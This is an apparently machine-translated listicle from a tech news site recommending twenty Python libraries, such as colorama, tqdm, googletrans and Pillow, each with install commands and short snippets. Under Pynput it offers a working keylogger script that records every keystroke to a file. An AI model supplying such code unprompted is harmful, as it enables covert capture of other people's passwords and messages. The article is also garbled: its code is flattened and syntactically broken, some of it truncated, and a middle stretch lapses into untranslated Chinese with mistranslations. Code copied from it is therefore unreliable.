Shulou(Shulou.com)06/03 Report--

This article mainly explains "what are the useful Python libraries". The content in the article is simple and clear, and it is easy to learn and understand. Please follow the editor's train of thought to study and learn "what are the useful Python libraries"?

1. Colorama

Colorama is a Python library used to make your terminal look better. It can be used to add color to the terminal.

Installation: pip install colorama

Example

2. Pynput

This library is used to control the moments of external devices such as mice and keyboards. With some simple lines of code, we can use the library to control the keyboard and mouse. An excellent application of this library is to use it to create a keylogger. The following code explains the implementation of a keylogger that uses the library.

Installation: pip install Pynput

From pynput.keyboard import Key, Controller,Listener import time keyboard = Controller () keys= [] def on_press (key): global keys string = str (key). Replace ("'", ") keys.append (string) main_string =". Join (keys) print (main_string) if len (main_string) > 15: with open ('keys.txt') 'a') as f: f.write (main_string) keys= [] def on_release (key): if key = = Key.esc: return False with Listener (on_press=on_press,on_release=on_release) as listener: listener.join ()

3. Progress and tqdm

Progress: with this library, we can easily create a progress bar.

Installation: pip installation progress

From progress.bar import Bar bar = Bar ('Loading', max=20) for i in range (20): # Any Task bar.next () bar.finish ()

The following animation shows that we can use progress to create different bar charts.

Tqdm: it does similar work, but looks more efficient and keeps pace with modern programming.

Installation: pip install tqdm

4. Google trans

Googletrans is a free and unlimited python library, which is an implementation of Google translation API. With this library, it takes only a few lines of code to create a language translator.

Installation: pip install googletrans

From googletrans import Translator, LANGUAGES from googletrans.models import Translated language = list (LANGUAGES.values ()) translator = Translator () translated=translator.translate (text= "How are You??", src = 'english', dest =' hindi') print (translated)

You can also further create a GUI to translate one language into another.

5. Google

The Google library allows you to search a query, find relevant links, and return all links. We can also customize the number of links to return.

Installation: pip install google

From googlesearch import search query = 'what is machine learning?' For j in search (query, tld= "co.in", num=1, stop=5, pause=2): # # it will return a total of 5 links print (j)

6. Pillow

Pillow is a python library for image processing. It can be used to create thumbnails, convert file formats, rotate, apply filters, display images, and so on. It is an ideal library if you want to execute tasks in batches.

Installation: pip install pillow

To quickly learn about the library, here is some code where you can display an image and change it to grayscale.

From PIL import Image, ImageOps img1 = Image.open ("img.png") # # Load an imge img1.show () img2 = ImageOps.grayscale (img1) # # grayscale img2.show ()

Conversion from original image to grayscale

7. Wikipedia

The Wikipedia library allows us to interact with Wikipedia through Python scripts. With this, we can search for anything on the terminal.

Installation: pip install wikipedia

Import wikipedia query = 'Narendra Modi' results = wikipedia.summary (query, sentences=2) # # change the number of sentence to get a larger words summary print (results)

8. SpeechRecognition

SpeechRecognition is a Python library that recognizes speech and converts it into text. It recognizes speech with the support of several engines and api. It can even work in offline mode.

Installation: pip install SpeechRecognition

The following code recognizes your voice, converts it into text, and then prints it on the terminal.

Import speech_recognition as sr r = sr.Recognizer () with sr.Microphone () as source: t_end = time.time () + 5 while time.time ()

< t_end: print("karl: Listening...") audio=r.listen(source) try: query = r.recognize_google(audio) print(f"user:{query}") except" print("Try Again") 9. IPython 这个库为我们提供了在终端、 Qt 控制台和通过 HTML 笔记本使用 IPython shell 的特性。这是三星笔记本的核心。你可以在这里找到完整的文档。下面我列出了一些 IPython 的特性。 全面的对象自省 输入历史记录，跨会话持久化 在使用自动生成的引用的会话期间缓存输出结果 可扩展选项卡完成，默认支持完成 Python 变量和关键字、文件名和函数关键字 可扩展的"magic"命令系统，用于控制环境和执行与 IPython 或操作系统相关的许多任务 会话日志记录和重载 针对特殊情况的可扩展语法处理 使用用户可扩展别名系统访问系统 shell 很容易嵌入到其他 Python 程序和 GUI 中 调试器和 Python 分析器的集成访问 10. wxpython wxPython 是一个用于 python 的 GUI 工具包。它是许多计算机软件的强大包装器，可以在各种不同的平台上实现。它是一个跨平台的库。许多开发人员发现 wxPython 作为 Tkinter 的优质替代品非常有效。 11. Poetry 这是一个简单易用的 Python 软件包。它允许您管理 Python 打包和项目的版本控制。虽然你的项目依赖于许多库，但是 Poetry 可以让你很容易地控制它们。 安装：pip install poetry 12. Pygame Pygame 是许多 python 开发人员的最爱。它用于使用 Python 创建游戏。它是一个跨平台的库，几乎可以在每个平台上使用。尽管它是一个成熟的游戏引擎，但您也可以使用这个库直接从 Python 脚本播放 MP3文件。它由计算机图形学和声音库组成。 在 PyGame 上编写的游戏和应用程序与所有 SDL 支持的操作系统兼容。它们也可以在机器人和平板电脑上运行。 安装：pip install pygame PyGame 有自己的网站 PyGame. org，其中包括教程和安装说明。 13. Text Blob TextBlob 是一个用于处理文本数据的 Python 库。它提供了一个简单的 API，用于深入研究常见的自然语言处理(NLP)任务，如词性标注、名词短语提取、情感分析、分类、翻译等。 安装：pip install textblob from textblob import TextBlob testimonial = TextBlob("Textblob is amazingly simple to use. What great fun!") testimonial.sentiment 14. OpenCV

OpenCV is a popular library in the field of computer vision. It was originally written in C and C++. It can also be used in Python now. It was originally developed by Intel. The library is an open source library across platforms. Free of charge. OpenCV is a highly optimized library that focuses on real-time applications.

Installation: pip install opencv-python

15. Win10 toast

It is an easy-to-use Python library for displaying Windows 10 Toast Notifications, which is very useful for Windows GUI development.

Installation: pip install win10toast

Applications: creating reminder applications

From win10toast import ToastNotifier toaster = ToastNotifier () header = 'Medium Article' text =' Its the correct time to start writing your article' toaster.show_toast (f "{header}", f "{text}", duration=10,threaded=True) while toaster.notification_active (): time.sleep (0.005)

16. Playsound

As the name implies, this library is used to play audio files in Python.

Installation: pip install playsound

Application: create a music player using Python

From playsound import playsound playsound ('PATH_TO_AUDIO_FILE')

17. Webbrowser

This Python package is used to interact with web browsers. It is used to open different links in the browser given by the user from the command line.

Installation: pip install webbrowser

Applications: automate your daily work applications

Import webbrowser webbrowser.open ("https://stackoverflow.com")"

18. Python-dateutil

This Python library is an extension of the Python datetime module, which provides a large number of features and functions.

Installation: pip install python-dateutil

From dateutil.relativedelta import * from dateutil.easter import * from dateutil.rrule import * from dateutil.parser import * from datetime import * now = parse ("Tue 11 17:13:46 Dec UTC 2020") today = now.date () year = rrule (YEARLY,dtstart=now,bymonth=8,bymonthday=13,byweekday=FR) [0] .year rdelta = relativedelta (easter (year), today) print ("Today is:% s"% today)

19. Setuptools

This Python library is the parent of all libraries in Python and is used to create libraries in Python.

Installation: pip install setuptools

20. Pyfiglet

The Pyfiglet Python library is used to write stylish text in the terminal. This is one of my favorite packages I use when creating CLI applications.

Installation: pip install pyfiglet

Thank you for your reading, these are the contents of "what are the useful Python libraries?" after the study of this article, I believe you have a deeper understanding of what the useful Python libraries have, and the specific use needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.